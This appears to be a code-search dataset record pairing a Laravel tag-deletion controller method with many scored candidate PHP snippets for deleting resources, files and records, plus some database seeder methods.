[ { "docid": "3e1daf90ad73ede8b73c23a08c9c2be4", "score": "0.0", "text": "public function destroy(Tag $tag)\n {\n // //\n try {\n $tag->delete();\n\n $tag->tagsOfPost()->delete();\n\n Toastr::success('Thẻ đã được chuyển vào thùng rác.', 'Thành công!');\n return redirect()->route('admin.tags.index');\n } catch (\\Throwable $th) {\n //\n Toastr::error('Đã có lỗi xảy ra trong quá trình xóa.', 'Lỗi!');\n return redirect()->route('admin.tags.index');\n }\n }", "title": "" } ]
[ { "docid": "9e3888bdb250b09daf6881b2c953ce96", "score": "0.7387755", "text": "protected function removeImageFromStorage (HCResources $resource)\n {\n $path = $this->uploadPath . $resource->id;\n\n if (Storage::has ($path)) {\n Storage::delete ($path);\n }\n }", "title": "" }, { "docid": "3f1322e69a1884d9745c5ef5f1590e48", "score": "0.7141337", "text": "public function removeResource($resourceName);", "title": "" }, { "docid": "37dd170c1eaea50870a9bd20839ad070", "score": "0.7137241", "text": "public function remove(ResourceInterface $resource): void\n {\n }", "title": "" }, { "docid": "e8f55d4cc56465e75499a86915b35d9b", "score": "0.70428175", "text": "public function delete($resource);", "title": "" }, { "docid": "e390bf434f5cce46402b827d582cdcbe", "score": "0.7039089", "text": "public function removeResource(Resource $resource): void\n {\n if (!isset($this->resources[$resource->getUri()])) {\n return;\n }\n unset($this->resources[$resource->getUri()]);\n }", "title": "" }, { "docid": "9d416bb966c467169e3ae97e3c181868", "score": "0.63677", "text": "abstract function deleteResource(int $id);", "title": "" }, { "docid": "b9f567113f04c7ad2db0fe760a0a6fdc", "score": "0.63184243", "text": "public function unregisterResource()\n {\n Zend_Registry::get('acl')->remove($this);\n }", "title": "" }, { "docid": "86a97ef20b44d79f474926937530d353", "score": "0.63162404", "text": "public function remove($resourceId)\n {\n return $this->rResourceMixin->remove($resourceId);\n }", "title": "" }, { "docid": "2961fd7e3d8100bdb9570443ca486260", "score": "0.624805", "text": "public function destroy()\n {\n if ($this->resource) {\n sem_remove($this->resource);\n @unlink($this->filePath);\n }\n }", "title": "" }, { "docid": "13034525cd05a6a81ce72172a28a6888", "score": "0.6213014", "text": "public function delete()\n {\n $request = new StorageDeleteRequest();\n $request->setBucketName($this->bucket->getName());\n $request->setKey($this->key);\n\n [$response, $status] = $this->storage->_baseStorageClient->Delete($request)->wait();\n Utils::okOrThrow($status);\n }", "title": "" }, { "docid": "251c69886b6b7be9441be8fe7c79bf9f", "score": "0.6166032", "text": "public function destroy($id, $resource='typeProduct')\n {\n //\n }", "title": "" }, { "docid": "0145806453a1e9f5ee0809b4db0b14d3", "score": "0.61310524", "text": "public function markAsDeleted(ResolvedResource $resource);", "title": "" }, { "docid": "d3de183319816e68e04b4ba5ab69a652", "score": "0.6125602", "text": "public function wipeStorage(): void;", "title": "" }, { "docid": "ac2ff7081643a335753979289127eb7f", "score": "0.6098791", "text": "function destroy( $resource ){\n\n\n\n\n\n \n\n}", "title": "" }, { "docid": "7f77f3b95410a985ed02a0994980a5dd", "score": "0.6076961", "text": "public function deleteResource(AbstractNode $resource) : void;", "title": "" }, { "docid": "c1246d964fe6c011b7e9a2e92e2bce69", "score": "0.60498166", "text": "public function destroy($id)\n\t{\n\t\t//\n\t\t$file = \\App\\Resource::find($id)->image;\n\t\tunlink('pictures/' . $file);\n\t\t\\App\\Resource::destroy($id);\n\t\treturn Redirect::to('/');\n\t}", "title": "" }, { "docid": "e9a19d00feed0894857d58eb3e4aea34", "score": "0.6019356", "text": "protected function dropResource()\n {\n $this->dropFile('Resource', $this->getResourcePath());\n }", "title": "" }, { "docid": "6633698916692181c267e327ea427da6", "score": "0.5991417", "text": "public function rm( $path );", "title": "" }, { "docid": "4f634fd6a5cf444037bf2efc93dadfeb", "score": "0.5945026", "text": "public function clear()\n {\n \tunlink($this->_storage);\n }", "title": "" }, { "docid": "3561c0d84ad15925523eb674be4bee6d", "score": "0.59337646", "text": "public function remove($path);", "title": "" }, { "docid": "3561c0d84ad15925523eb674be4bee6d", "score": "0.59337646", "text": "public function remove($path);", "title": "" }, { "docid": "3561c0d84ad15925523eb674be4bee6d", "score": "0.59337646", "text": "public function remove($path);", "title": "" }, { "docid": "15a853ed70c99f4514a71c5e2d0b94aa", "score": "0.59332573", "text": "public function remove($resource)\n {\n try {\n $resourceId = $this->get($resource)->getResourceId();\n } catch (Zend_Acl_Exception $e) {\n require_once 'Zend/Acl/Exception.php';\n throw new Zend_Acl_Exception($e->getMessage(), $e->getCode(), $e);\n }\n\n $resourcesRemoved = [$resourceId];\n if (null !== ($resourceParent = $this->_resources[$resourceId]['parent'])) {\n unset($this->_resources[$resourceParent->getResourceId()]['children'][$resourceId]);\n }\n foreach ($this->_resources[$resourceId]['children'] as $childId => $child) {\n $this->remove($childId);\n $resourcesRemoved[] = $childId;\n }\n\n foreach ($resourcesRemoved as $resourceIdRemoved) {\n foreach ($this->_rules['byResourceId'] as $resourceIdCurrent => $rules) {\n if ($resourceIdRemoved === $resourceIdCurrent) {\n unset($this->_rules['byResourceId'][$resourceIdCurrent]);\n }\n }\n }\n\n unset($this->_resources[$resourceId]);\n\n return $this;\n }", "title": "" }, { "docid": "b8b5d5ca606833c889a1285814fba6f4", "score": "0.5917159", "text": "public function unlinkResource() {\n\t\t$this->resource=null;\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "1f9a1be4bb584e042a8ad8d688ac9917", "score": "0.59067374", "text": "public function delete() {\n if (file_exists($this->src)) unlink($this->src);\n }", "title": "" }, { "docid": "4e9409a2e010e9b11f78c239d4335d8f", "score": "0.58951396", "text": "public function remove();", "title": "" }, { "docid": "4e9409a2e010e9b11f78c239d4335d8f", "score": "0.58951396", "text": "public function remove();", "title": "" }, { "docid": "4e9409a2e010e9b11f78c239d4335d8f", "score": "0.58951396", "text": "public function remove();", "title": "" }, { "docid": "4e9409a2e010e9b11f78c239d4335d8f", "score": "0.58951396", "text": "public function remove();", "title": "" }, { "docid": "4e9409a2e010e9b11f78c239d4335d8f", "score": "0.58951396", "text": "public function remove();", "title": "" }, { "docid": "4e9409a2e010e9b11f78c239d4335d8f", "score": "0.58951396", "text": "public function remove();", "title": "" }, { "docid": "682325cf5de8624768bd5dbfad42738d", "score": "0.5875408", "text": "public function action_remove()\n\t{\n\t\t$this->access('admin.'.strtolower($this->_admin->resource).'.remove');\n\t\t$id = $this->request->param('id');\n\n\t\tif(!$this->request->is_ajax())\n\t\t{\n\t\t\tthrow new Kohana_HTTP_Exception_404;\n\t\t}\n\n\t\t// Needs to be a GET request\n\t\tif($this->request->method() != Request::GET)\n\t\t{\n\t\t\tthrow new Kohana_HTTP_Exception_403('No data was requested to be removed.');\n\t\t}\n\n\t\t$record = $this->_admin->model->where($this->_admin->primary_key, '=', $id)->find();\n\n\t\tif($record->loaded())\n\t\t{\n\t\t\tRD::set(RD::SUCCESS, ':resource #:id has been removed.', array(\n\t\t\t\t':resource' => Inflector::singular($this->_resource),\n\t\t\t\t':id' => $id\n\t\t\t));\n\t\t\t$record->delete();\n\t\t}\n\t\telse\n\t\t{\n\t\t\tRD::set(RD::WARNING, ':resource can\\'t be found.', array(\n\t\t\t\t':resource' => Inflector::singular($this->_resource),\n\t\t\t\t':id' => $id\n\t\t\t));\n\t\t}\n\t}", "title": "" }, { "docid": "16ede02ea64f8d696ab94948fa4d095a", "score": "0.5870248", "text": "public function destroyFile($resource, File $file)\n {\n $file->delete();\n return $file->{$resource};\n }", "title": "" }, { "docid": "e02a61dc8d778d6f70e60505035c99d1", "score": "0.58621585", "text": "public function onDelete(DeleteResourceEvent $event)\n {\n $em = $this->container->get('doctrine.orm.entity_manager');\n $em->remove($event->getResource());\n $event->stopPropagation();\n }", "title": "" }, { "docid": "4b22b7ee3a57517ec9e3b86bea1578c9", "score": "0.5856808", "text": "public function clearStorage();", "title": "" }, { "docid": "ee70945e791659b8782f1f156e69304e", "score": "0.5847799", "text": "public function delete()\n {\n return $this->getStorage()->delete($this->path().DIRECTORY_SEPARATOR.$this->name());\n }", "title": "" }, { "docid": "84e424b359d9d6f2b49045a0bf4df9de", "score": "0.58229584", "text": "public function destroy($id)\n {\n $productImage = ProductImage::find($id);\n $productImage->delete();\n $fullPath = str_replace(\"storage\",\"/public\",$productImage->path);\n Storage::delete($fullPath);\n return $productImage;\n }", "title": "" }, { "docid": "e47bb1b7bccbeb8651920ef7986252ae", "score": "0.5819071", "text": "protected function destroy(User $resource)\n {\n }", "title": "" }, { "docid": "2d75567656921f9588d0f6a09e30ea8c", "score": "0.5816774", "text": "public function testItShouldRemoveSpecifiedResource()\n {\n $this->json['data'] = [];\n $this->json('DELETE', $this->base_url . $this->getId(), [], $this->getHeaders())\n ->assertStatus(200)\n ->assertJsonStructure($this->json);\n }", "title": "" }, { "docid": "633ae266a2f875f0726e79f6358f15aa", "score": "0.58142436", "text": "public function remove(string $key) {\n $this->storage->remove($key);\n }", "title": "" }, { "docid": "e53013c127607b9b9763311d1d78cf4b", "score": "0.58067673", "text": "public function detach()\n {\n if (!isset($this->resource)) {\n return null;\n }\n $resource = $this->resource;\n unset($this->resource);\n $this->size = null;\n $this->uri = null;\n $this->readable = false;\n $this->seekable = false;\n $this->writable = false;\n return $resource;\n }", "title": "" }, { "docid": "567e641bf24d438f1c69a4a617fddcb1", "score": "0.57947505", "text": "function delete($resource, $headers = array())\n {\n $result = $this->client->delete($this->build_url($resource), [\n 'headers' => array_merge([\n 'Authorization' => $this->getBearer()\n ], $headers)\n ]);\n return $result;\n }", "title": "" }, { "docid": "5bc196208c1decbb644cd5cece6edd3f", "score": "0.5773983", "text": "public function unlink($uri) {\n $this->uri = $uri; // set instance URI\n return unlink($this->get_local_path());\n }", "title": "" }, { "docid": "f97458f1a249bea8589e37ce4a19458a", "score": "0.5770823", "text": "public function destroy($id)\n {\n// $info = $request->img;\n// dd($info);\n// dd($id);\n $info = Zhou::where('id',$id)->select('file')->first()->toArray();\n// dd('/storage/'.$info['file']);\n unlink('./storage/'.$info['file']);\n $data = Zhou::where('id',$id)->delete();\n\n\n// dd();\n if($data){\n return json_encode(['code'=>200]);\n }\n }", "title": "" }, { "docid": "1dee477f6e099b050eb54e8469548631", "score": "0.57649726", "text": "public function destroy($id)\n {\n $slider=Slider::find($id);\n if($slider->image)\n {\n if(Storage::exists('public/slider/' . $slider->image)){\n $delete= Storage::delete('/public/slider/' . $slider->image); \n }\n }\n $slider->delete();\n alert::success('slider Deleted Successfully');\n return redirect()->back();\n }", "title": "" }, { "docid": "bbd4fbeb169cce49dbdee4fcf4da3308", "score": "0.576368", "text": "public function destroy(Storage $storage)\n {\n //\n }", "title": "" }, { "docid": "ddf3faf7670af66339c535dd8de7c088", "score": "0.57453483", "text": "public function destroy(Request $request)\n {\n Storage::delete($request->path);\n return redirect()->route('storage.index');\n }", "title": "" }, { "docid": "aa96241e32a2910707191042a72208b3", "score": "0.5733017", "text": "public function destroy(Resource $resource): JsonResponse\n {\n Storage::disk('article')->delete($resource->url);\n $resource->delete();\n return $this->api_success([\n 'data' => new ResourceArticleResource($resource),\n 'message' => __('pages.responses.deleted'),\n 'code' => 200\n ]);\n }", "title": "" }, { "docid": "30d12407d208c7245c67fe3e3c0e6844", "score": "0.5715374", "text": "public function remove (object $entity);", "title": "" }, { "docid": "38e5a4eab7d9a854a4348b6f78b1554b", "score": "0.571345", "text": "public function destroy($resource, $id)\n {\n $this->repository->delete($id);\n return response(null, 204);\n }", "title": "" }, { "docid": "148f851e6e394ade1c2f9c6b118d123d", "score": "0.5697347", "text": "public function destroy(Resource $resource)\n {\n $resource->delete();\n return response()->json(['status' => 'ok']);\n }", "title": "" }, { "docid": "dfafd8026a650244c991d50f54215453", "score": "0.569202", "text": "public function free():void { unlink($this->getfilename()); }", "title": "" }, { "docid": "405f641d9f45ae5d1d63de363880f02b", "score": "0.5691377", "text": "public function destroy($id)\n\n {\n\n $product = Product::findOrFail($id);\n\n\n\n// unlink(public_path(). $icon->file);\n\n\n\n// $photo->delete();\n//\n// $icon->delete();\n Photo::where('product_id',$id)->delete();\n $product->delete();\n\n\n\n\n\n return redirect()->route('admin.products.index');\n\n }", "title": "" }, { "docid": "5b249643a990832f9ecd53f247c87bb4", "score": "0.5689915", "text": "public function destroy($id)\n {\n $find = DB::table('suppliers')->where('id',$id)->first();\n $photo = $find->photo;\n\n if($photo){\n unlink($photo);\n DB::table('suppliers')->where('id',$id)->delete();\n }else{\n DB::table('suppliers')->where('id',$id)->delete();\n }\n }", "title": "" }, { "docid": "c0f1056876f778bb47bd815edbae240a", "score": "0.5686687", "text": "public function destroy($id)\n {\n //\n\n $query = Picture::find($id);\n $collections = collect($query);\n $filename = $collections->get('title');\n // default is config/filesystems.php\n $contents = Storage::get($filename);\n Storage::delete($filename);\n Picture::destroy($id);\n \n return redirect('picture');\n //return $contents;\n \n }", "title": "" }, { "docid": "bba07c958ce0344975d091ce9890e64a", "score": "0.5684331", "text": "public function delete($path);", "title": "" }, { "docid": "bba07c958ce0344975d091ce9890e64a", "score": "0.5684331", "text": "public function delete($path);", "title": "" }, { "docid": "3b5ab38f0f5c2e97d3b02bce08803b25", "score": "0.56787795", "text": "public function destroy($id)\n {\n \n $imageUpload = Image::findOrfail($id);\n\n File::delete([\n public_path(('/images/').$imageUpload->imageName),\n ]);\n $imageUpload->delete();\n }", "title": "" }, { "docid": "63bd4ba9d20687d38d658987b149d5fb", "score": "0.5676478", "text": "public function deleteResource(\n $uri = \"\",\n $headers = []\n );", "title": "" }, { "docid": "9821f26046d4f47083ca51bd2deff710", "score": "0.5674362", "text": "public function destroy($id)\n {\n //\n $item = post::find($id);\n \n$item->tags()->detach();\n $image_path = $item->file; // the value is : localhost/project/image/filename.format\n \n //Image::destroy($image_path);\n \n $item->delete();\n return redirect('post');\n }", "title": "" }, { "docid": "3d074a3589196f3e2c63d1b79c3a54f2", "score": "0.5669239", "text": "public function destroy()\n {\n $file = pathinfo(request()->getContent());\n $storagePath = $this->baseStoragePath();\n $path = \"{$storagePath}/{$file['basename']}\";\n\n $fileDeleted = Storage::disk(config('canvas.storage_disk'))->delete($path);\n\n if ($fileDeleted) {\n return response()->json([], 204);\n }\n }", "title": "" }, { "docid": "84ffd5d41241886a42efaaa6c4cb6c45", "score": "0.5658867", "text": "public function delete()\n {\n self::remove($this->key);\n $this->key = null;\n $this->value = null;\n }", "title": "" }, { "docid": "a81365633fd5b106741f1068f03a568a", "score": "0.5654999", "text": "public function remove(object $entity): void;", "title": "" }, { "docid": "f3ecd01b9c9cfcc917a40e1827e8d6a1", "score": "0.56522495", "text": "public function del() {\n sem_acquire($this->__mutex); //block until released\n @shm_remove_var($this->__shm, $this->__key);\n sem_release($this->__mutex); //release mutex\n }", "title": "" }, { "docid": "e24a8da2185cf275580016315ac8c0fe", "score": "0.5646982", "text": "public abstract function remove();", "title": "" }, { "docid": "7257252b8ba3d014ab6c945b9b1f8774", "score": "0.5646248", "text": "public function destroy($id)\n {\n\n $slider = Slider::whereId($id)->first();\n $image = $slider->slider_image;\n $path = 'public/slider_images/'; \n Storage::delete( $path . $image); \n \n $data = Slider::findOrFail($id);\n $data->delete();\n\n Session::flash('success', 'Slider deleted successfully..');\n return redirect()->route('all.slider');\n }", "title": "" }, { "docid": "884fba4384b6fac636fcb5fd3a0b8119", "score": "0.56440735", "text": "public function deletePhoto($resource, $id)\n {\n if (($resource === 'user') || ($resource === 'group') || ($resource === 'memo')) {\n\n //Validate Model is valid and return valid response\n list($param, $model) = $this->validateModelIsValid($resource, $id);\n //Get Image Name\n $image = $model->img_url;\n\n //Delete Avatar and Thumbnail\n if ($image != null) {\n Storage::delete(\"/$param/avatars/thumbnails/$image\");\n Storage::delete(\"/$param/avatars/$image\");\n }\n //Update Profile Photo Field To Null\n $model->img_url = null;\n //Save in Database\n $model->save();\n //Return Response\n return response()->json($model, 202);\n }\n\n return response('Invalid request', 400);\n\n }", "title": "" }, { "docid": "684caecb3cebeb517274f1dbe758544f", "score": "0.5639566", "text": "abstract public function remove($scope = null, $pref = null);", "title": "" }, { "docid": "f12fb388a946ae58a0b65aa86a9ca9f5", "score": "0.56333244", "text": "public function delete(string $path);", "title": "" }, { "docid": "83377e4a1bcc3dc2e77329262b4d9a6d", "score": "0.5628369", "text": "public function delete()\n {\n fclose($this->inputStream);\n }", "title": "" }, { "docid": "9db585fcb135fe60165f9be69e476584", "score": "0.5622851", "text": "private function _remove($id)\n\t{\n\t\t$store = $this->model_store->find($id);\n\n\t\tif (!empty($store->IMAGE)) {\n\t\t\t$path = FCPATH . '/uploads/store/' . $store->IMAGE;\n\n\t\t\tif (is_file($path)) {\n\t\t\t\t$delete_file = unlink($path);\n\t\t\t}\n\t\t}\n\t\t\n\t\t\n\t\treturn $this->model_store->remove($id);\n\t}", "title": "" }, { "docid": "3cfb84429aef8127ecc19fa5934511fe", "score": "0.56167203", "text": "public function deleteTagging($resource)\n {\n $taggingList = $this->getEm()->createQueryBuilder()\n ->select('t')\n ->from('UnifikDoctrineBehaviorsBundle:Tagging', 't')\n ->where('t.resourceType = :type')\n ->setParameter('type', $resource->getResourceType())\n ->andWhere('t.resourceId = :id')\n ->setParameter('id', $resource->getId())\n ->getQuery()\n ->getResult();\n\n foreach ($taggingList as $tagging) {\n $this->getEm()->remove($tagging);\n }\n }", "title": "" }, { "docid": "8bd2c06eeb1572fe4c48014cc912a6d6", "score": "0.5607892", "text": "public function delete() {\n @unlink($this->path());\n return parent::delete();\n }", "title": "" }, { "docid": "14eedb590aed3088ebca2d6e88f88b70", "score": "0.55937696", "text": "public function destroy($id)\n {\n if ($id) {\n $storagek = Storagek::find($id);\n unlink(public_path('storage/images/').$storagek->file);\n $storagek->delete();\n return response()->json([\n \"success\" => true,\n \"message\" => \"File successfully delete\",\n ]);\n } else {\n return response()->json(['Err' => 'id no found']);\n }\n\n\n\n //\n }", "title": "" }, { "docid": "1b06eb968537fe78419acb4959d62e6d", "score": "0.55909395", "text": "public function destroy(Request $request, $id)\n\t{\n\t\t$storage = Storage::where('organization_id', $request->user()->organization_id)->where('storage_id', $id)->first();\n\n\t\tif ($storage) {\n\t\t\t$storage->delete();\n\t\t\tSession::flash('success', 'Склад была успешно удален из справочника!');\n\t\t} else {\n\t\t\tSession::flash('error', 'Склад не найден в справочнике!');\n\t\t}\n\n\t\treturn redirect()->route('storage.index');\n\t}", "title": "" }, { "docid": "eb981a32d53ea8153aa2cec46a4f509f", "score": "0.5581215", "text": "public function destroy($id)\n {\n// if(Auth::user()->role == User::ROLE_SUPERADMIN) {\n $product = ProductItem::findOrFail($id);\n if($product->image_name != '') {\n $image_path = app_path(\"../../files/product/\" . $product->image_name);\n unlink($image_path);\n }\n\n ProductItem::destroy($id);\n\n Alert::success('Your data already deleted !', 'Success !');\n\n return redirect('admin/product');\n// }\n }", "title": "" }, { "docid": "b3f61ce5e85b70bb0bf7f3a5ad6064ba", "score": "0.55771476", "text": "function remove(){\n shm_remove($this->id);\n }", "title": "" }, { "docid": "97914eb78d7cf648246f9bcd6ac69124", "score": "0.5573565", "text": "public function destroy($id)\n {\n /*\n\n = R::load( '', $id );\n R::trash( );*/\n }", "title": "" }, { "docid": "1f9a85d3b28293dfe2336fc2953ad59f", "score": "0.55613", "text": "public function destroy($id)\n {\n // get divide\n $divide = Divide::findOrFail($id);\n \n File::delete(public_path('image/') . $divide->img);\n \n if($divide->delete()) {\n return new DivideResource($divide);\n }\n }", "title": "" }, { "docid": "3a507f65a1de28bc6b0f34c5d713d3a2", "score": "0.5560665", "text": "public function removeUpload()\n {\n \tif ($file = $this->getAbsolutePath()) {\n \t\tunlink($file);\n \t}\n }", "title": "" }, { "docid": "82eeede68c38b70a29849c8d452c2f6a", "score": "0.5556357", "text": "public function destroy($id)\n { \n $product = Item::find($id);\n $image = $product->image;\n\n $basename ='img/products/' . basename($image);\n //Delete the file from disk\n if(file_exists($basename)){\n if($basename != 'img/products/img_place_holder_product.png'){\n unlink($basename);\n }\n }\n $product->delete();\n\n Session::flash('success','Product Deleted');\n return redirect()->back();\n }", "title": "" }, { "docid": "7cdf7f14d455dbb5d9ed3ea3b44142b0", "score": "0.55545616", "text": "protected static function removeComponent()\n {\n (new Filesystem)->delete(\n resource_path('assets/js/components/ExampleComponent.vue')\n );\n }", "title": "" }, { "docid": "7488846bbe831c2c5afdad208317b7bd", "score": "0.5543239", "text": "public function destroy(File $file)\n {\n //\n $url = str_replace('storage', 'public', $file->url);\n Storage::delete($url);\n\n $file->delete();\n return redirect()->route('files.index')->with('eliminar', $file);\n }", "title": "" }, { "docid": "35753424e21be7d9c22ced54d549e939", "score": "0.5540951", "text": "public function remove()\n\t{\n\t\tif(self::exists($this->name))\n\t\t{\n\t\t\t$this->value = false;\n\t\t\t$this->encodedValue = null;\n\t\t\t$this->sendHeader();\n\n\t\t\t$cookiePath = $this->getMetaFilePath();\n\n\t\t\tif(File::exists($cookiePath))\n\t\t\t\tFile::remove($cookiePath);\n\t\t}\n\t}", "title": "" }, { "docid": "9d72fe7c299d9bc6b0d19ba6bb397fa3", "score": "0.55405164", "text": "public function destroy($id)\n {\n $product = Product::where('id', $id)->first();\n if ($product->image) {\n unlink($product->image);\n }\n Product::where('id', $id)->delete();\n }", "title": "" }, { "docid": "eb3e91f69cf026d5ea1aa3cafe0bce8f", "score": "0.5540013", "text": "public function remove($id);", "title": "" }, { "docid": "eb3e91f69cf026d5ea1aa3cafe0bce8f", "score": "0.5540013", "text": "public function remove($id);", "title": "" }, { "docid": "eb3e91f69cf026d5ea1aa3cafe0bce8f", "score": "0.5540013", "text": "public function remove($id);", "title": "" }, { "docid": "eb3e91f69cf026d5ea1aa3cafe0bce8f", "score": "0.5540013", "text": "public function remove($id);", "title": "" }, { "docid": "eb3e91f69cf026d5ea1aa3cafe0bce8f", "score": "0.5540013", "text": "public function remove($id);", "title": "" }, { "docid": "eb3e91f69cf026d5ea1aa3cafe0bce8f", "score": "0.5540013", "text": "public function remove($id);", "title": "" }, { "docid": "eb3e91f69cf026d5ea1aa3cafe0bce8f", "score": "0.5540013", "text": "public function remove($id);", "title": "" }, { "docid": "eb3e91f69cf026d5ea1aa3cafe0bce8f", "score": "0.5540013", "text": "public function remove($id);", "title": "" }, { "docid": "d434e2cdc40338f523a40bcd0c8522a0", "score": "0.55343556", "text": "public function delete() {\n $this->client->deleteData($this->uri);\n }", "title": "" }, { "docid": "66928b15fb30f2f5cf746449308643ba", "score": "0.5534244", "text": "public function remove()\n {\n $this->_context->builder->waveletRemove($this->waveId, $this->waveletId);\n }", "title": "" }, { "docid": "bd7d7fbce770fd39cf8081927084d5c3", "score": "0.55334973", "text": "public function destroy($id)\n {\n $brand = Brand::findOrFail($id);\n\n if (Storage::disk('public')->exists('Brand/'.$brand->brand_image)) {\n Storage::disk('public')->delete('Brand/'.$brand->brand_image);\n }\n $brand->delete();\n }", "title": "" }, { "docid": "a3bbd69ef2b058074f49c04b76cdbd14", "score": "0.55301565", "text": "public function delete() {\n if ($this->_filepath and is_writable($this->_filepath)) {\n unlink($this->_filepath);\n }\n }", "title": "" }, { "docid": "98e71b5db6e284bbc48862c743eb819b", "score": "0.552751", "text": "public function destroy($id)\n {\n //\n $makale_resim = Article::find($id)->img->name;\n @unlink(public_path(\"uploads/\".$makale_resim));\n @unlink(public_path(\"uploads/thumb_\".$makale_resim));\n Img::where(\"imageable_id\",$id)->where(\"imageable_type\",\"App\\Article\")->delete();\n Article::destroy($id);\n Session::flash(\"durum\",1);\n return redirect(\"/admin/haber\");\n }", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" }, { "docid": "573f58d57c5b1333e4a2ddf6048545ec", "score": "0.55271083", "text": "public function delete();", "title": "" } ]
1b39e02288f33f806d95ffad0bcd4534
Seed the application's database.
[ { "docid": "b5b2d06206d3e17dd1207e08cbc9bb9d", "score": "0.0", "text": "public function run()\n {\n $this->call([\n BeltsTableSeeder::class,\n RolesTableSeeder::class,\n ClientsTableSeeder::class,\n UsersTableSeeder::class,\n UserRoleTableSeeder::class,\n SettingsTableSeeder::class,\n RanksTableSeeder::class,\n DaysSeeder::class,\n ]);\n }", "title": "" } ]
[ { "docid": "a6579d8cd98a7a688483202fa45add65", "score": "0.78815496", "text": "protected function dbSeed()\n {\n $this->call('db:seed', [\n '--database' => $this->connection['name'],\n '--class' => $this->seeder,\n '--force' => $force = $this->input->getOption('force')\n ]);\n }", "title": "" }, { "docid": "dab1960cc510dc1d8d27ce37dd4fd7d3", "score": "0.75653374", "text": "public function setUpDatabase() {\n\n\t\t/**\n\t\t * We will be doing a little database testing in this model.\n\t\t * So we want to refresh our test database by rolling back and re-running all migrations... and seeding the database\n\t\t */\n\t\tArtisan::call('migrate');\n\t\tArtisan::call('db:seed');\n\t}", "title": "" }, { "docid": "6696433850c196935e78ab097bbe841b", "score": "0.74069774", "text": "protected function seedDatabase() : void\n {\n $this->loadMigrationsFrom(realpath(__DIR__ . '/..') . '/support/migrations');\n\n $this->user = DB::table('users')->insertGetId([\n 'name' => 'John Doe',\n 'email' => '[email protected]',\n 'password' => bcrypt('password'),\n ]);\n }", "title": "" }, { "docid": "45044d2844957837216250302ad9baf5", "score": "0.7379382", "text": "public function runDatabaseSeeds()\n {\n $this->artisan('db:seed');\n }", "title": "" }, { "docid": "a9e4ba634d62832911e3aaa59bdcda22", "score": "0.7362903", "text": "public function run()\n {\n if (App::environment() === 'production') {\n exit('Do not seed in production environment');\n }\n\n DB::statement('SET FOREIGN_KEY_CHECKS = 0'); // disable foreign key constraints\n DB::table('screenings')->truncate();\n Screening::create([\n 'id' => 1,\n 'patientId' => 1,\n 'volunteerId' => 2, \n 'eventId' => 2\n ]);\n DB::statement('SET FOREIGN_KEY_CHECKS = 1'); // enable foreign key constraints\n }", "title": "" }, { "docid": "f3d217d48d6398149d04388ef73b7b2a", "score": "0.6980551", "text": "public function run()\n {\n if (app()->environment() == 'local') {\n DB::statement('SET FOREIGN_KEY_CHECKS=0;');\n\n $this->call(RolesSeeder::class);\n $this->call(UsersSeeder::class);\n $this->call(PostsSeeder::class);\n $this->call(PostsMediaSeeder::class);\n $this->call(CategoriesSeeder::class);\n\n DB::statement('SET FOREIGN_KEY_CHECKS=1;');\n }\n if (app()->environment() == 'production') {\n $this->call(RolesProductionSeeder::class);\n $this->call(UsersProductionSeeder::class);\n $this->call(PostsProductionSeeder::class);\n $this->call(CategoriesProductionSeeder::class);\n\n DB::statement('SET FOREIGN_KEY_CHECKS=1;');\n }\n }", "title": "" }, { "docid": "0236befb6bc05649838407d25a556845", "score": "0.6942393", "text": "public function run()\n {\n $path = base_path().'/database/seeds/sql/seed_config_data.sql';\n $sql = file_get_contents($path);\n echo \"Seed file {$path}\\n\";\n DB::unprepared($sql);\n }", "title": "" }, { "docid": "083b0800a55216ff599d6093ed0d8de8", "score": "0.69414836", "text": "public function run()\n {\n DB::statement('SET FOREIGN_KEY_CHECKS=0');\n\n foreach ($this->tables as $table) {\n DB::table($table)->truncate();\n }\n\n User::create([\n 'name' => 'admin',\n 'email' => '[email protected]',\n 'password' => bcrypt('admin'),\n ]);\n\n DB::statement('SET FOREIGN_KEY_CHECKS=1');\n\n foreach ($this->seeds as $seed) {\n $this->call($seed);\n }\n\n\n }", "title": "" }, { "docid": "2bfba5dc2d1c3f62eb529c4f407a8fcd", "score": "0.69213355", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $faker = Faker\\Factory::create();\n\n DB::table('articles')->insert([\n 'name' => $faker->title,\n 'description' => $faker->text,\n 'created_at' => new \\DateTime(),\n 'updated_at' => new \\DateTime(),\n ]);\n }", "title": "" }, { "docid": "37b508453fa951f440354e529ecdd1d6", "score": "0.69067806", "text": "public function run()\n {\n DB::statement(\"TRUNCATE TABLE users CASCADE\");\n\n App\\User::create([\n 'name' => 'tester',\n 'email' => '[email protected]',\n 'password' => bcrypt('secret'),\n 'remember_token' => str_random(10),\n ]);\n factory(App\\User::class, 1)->create();\n }", "title": "" }, { "docid": "fea911eb83c4942003ae2b42dc41ded3", "score": "0.69049037", "text": "public static function Seed() {\n\t\tself::SeedClassTable();\n\t\tself::SeedExpansionTable();\n\t\tself::SeedRaidTierTable();\n\t}", "title": "" }, { "docid": "120274b83b13efad13e4d0a22631a7e2", "score": "0.68873894", "text": "public function run()\n {\n\n $this->seedersPath = database_path('seeds').'/';\n $this->seed('MessagesTableSeeder');\n\n $this->seed('WishesTableSeeder');\n $this->seed('PresentsTableSeeder');\n\n $this->seed('InstitutionsTableSeeder');\n $this->seed('LocationsTableSeeder');\n $this->seed('OpeningHoursTableSeeder');\n\n $this->seed('FaqsTableSeeder');\n\n //$this->seed('PermissionRoleTableSeeder');\n }", "title": "" }, { "docid": "14bcfcdf178e55585d48d15b958ccfc6", "score": "0.6879878", "text": "public function run()\n {\n $data = json_decode(file_get_contents(database_path('seeds/data/voyager.json')), true);\n foreach ($data as $table => $tableData) {\n $this->command->info(\"Seeding ${table}.\");\n \\Illuminate\\Support\\Facades\\DB::table($table)->delete();\n \\Illuminate\\Support\\Facades\\DB::table($table)->insert($tableData);\n }\n\n// $this->seed('DataTypesTableSeeder');\n// $this->seed('DataRowsTableSeeder');\n $this->seed('MenusTableSeeder');\n// $this->seed('MenuItemsTableSeeder');\n $this->seed('RolesTableSeeder');\n $this->seed('PermissionsTableSeeder');\n $this->seed('PermissionRoleTableSeeder');\n $this->seed('SettingsTableSeeder');\n }", "title": "" }, { "docid": "fb7d5bba21289ca1ca2041a5e18bd077", "score": "0.68723965", "text": "public function run()\n {\n// factory(Category::class, 20)->create();\n// factory(Post::class, 